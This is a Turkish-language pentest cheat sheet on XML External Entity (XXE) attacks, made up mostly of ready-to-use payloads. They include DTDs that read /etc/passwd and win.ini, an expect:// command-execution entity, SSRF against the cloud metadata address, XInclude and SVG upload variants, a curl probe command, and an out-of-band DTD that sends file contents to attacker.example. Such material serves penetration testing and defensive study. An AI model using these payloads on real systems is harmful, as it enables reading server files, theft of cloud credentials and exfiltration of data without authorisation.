XML External Entity (XXE)
OWASP A05 · Misconfiguration difficulty: orta
XXE, XML ayrıştırıcısının dış varlık (external entity) tanımlarını işlemeye açık olması durumunda ortaya çıkar. Saldırgan XML’e varlık tanımı enjekte ederek sunucudaki dosyaları okuyabilir, iç servislere istek attırabilir (SSRF) veya kör senaryolarda veriyi dışarı sızdırabilir.
Komut üreteci
Section titled “Komut üreteci”XXE · file read probe
embedded toolcurl -s https://hedef/upload -H Content-Type:application/xml --data-binary @xxe.xml # ENTITY SYSTEM file:///etc/passwdXXE · file read probe
Section titled “XXE · file read probe”Klasik — yerel dosya okuma
Section titled “Klasik — yerel dosya okuma”<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd">]><data>&xxe;</data>Uygulama &xxe; değerini yanıtta yansıtırsa dosya içeriği görünür.
Windows:
<!ENTITY xxe SYSTEM "file:///C:/Windows/win.ini">PHP expect (nadir):
<!ENTITY xxe SYSTEM "expect://id">SSRF olarak XXE
Section titled “SSRF olarak XXE”<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/">]><root>&xxe;</root>İç admin paneli, Redis HTTP arayüzü veya staging host’ları da hedeflenir. Port tarama: farklı portlara entity URL’leri ve zaman/hata farkı.
XInclude
Section titled “XInclude”Uygulama kullanıcı girdisini XML’e gömüyorsa (entity DOCTYPE engelli olsa bile) XInclude denenebilir:
<foo xmlns:xi="http://www.w3.org/2001/XInclude"> <xi:include parse="text" href="file:///etc/passwd"/></foo>Kör XXE — Out-of-Band (OOB)
Section titled “Kör XXE — Out-of-Band (OOB)”Yanıtta yansıma yoksa, harici bir DTD ile veriyi geri çağırma adresine gönder:
-
Saldırgan sunucusunda DTD barındır (
evil.dtd):<!ENTITY % file SYSTEM "file:///etc/hostname"><!ENTITY % eval "<!ENTITY % exfil SYSTEM 'http://attacker.example/?x=%file;'>">%eval;%exfil; -
Hedefe parametreli varlıkla tetikle :
<?xml version="1.0"?><!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://attacker.example/evil.dtd">%xxe;]><data>test</data> -
Geri çağırmayı yakala — ?x=
<hostname>isteğini kendi sunucunda gör. -
Error-based kör XXE — dosya içeriğini hata mesajına taşıyan DTD (parser’a bağlı); PortSwigger lab’larındaki error-based kalıplar.
Dosya içeriğinde özel karakter varsa (newline, &) URL kırılabilir — base64 wrapper (Java / .NET bazı parser’larda) veya satır satır okuma gerekir.
Content-Type ve format dönüşümü
Section titled “Content-Type ve format dönüşümü”Birçok API JSON bekler ama XML de kabul eder:
POST /api/user HTTP/1.1Content-Type: application/xml
<?xml version="1.0"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]><user><name>&xxe;</name></user>application/x-www-form-urlencoded gövdesinde XML string taşıyan parametreler de hedeflenir.
Nerede aranır
Section titled “Nerede aranır”- SOAP / SAML assertion / WS-* uçları
- RSS/Atom, SVG upload, XML config import
- DOCX/XLSX/PPTX (ZIP içi [Content_Types].xml , ilişkiler)
- Content-Type: application/xml veya text/xml
- Eski Java ( DocumentBuilder ), .NET XmlDocument (DTD varsayılanları), PHP simplexml_load_* / libxml
SVG örneği
Section titled “SVG örneği”<?xml version="1.0" standalone="yes"?><!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/passwd" > ]><svg width="128px" height="128px" xmlns="http://www.w3.org/2000/svg"> <text font-size="16" x="0" y="16">&xxe;</text></svg>Billion laughs / DoS
Section titled “Billion laughs / DoS”Entity expansion (XML bomb) ile DoS mümkün olsa da pentest kapsamı ve etik sınırlar için dikkatli kullanılmalı; amaç genelde veri sızdırma / SSRF’dir.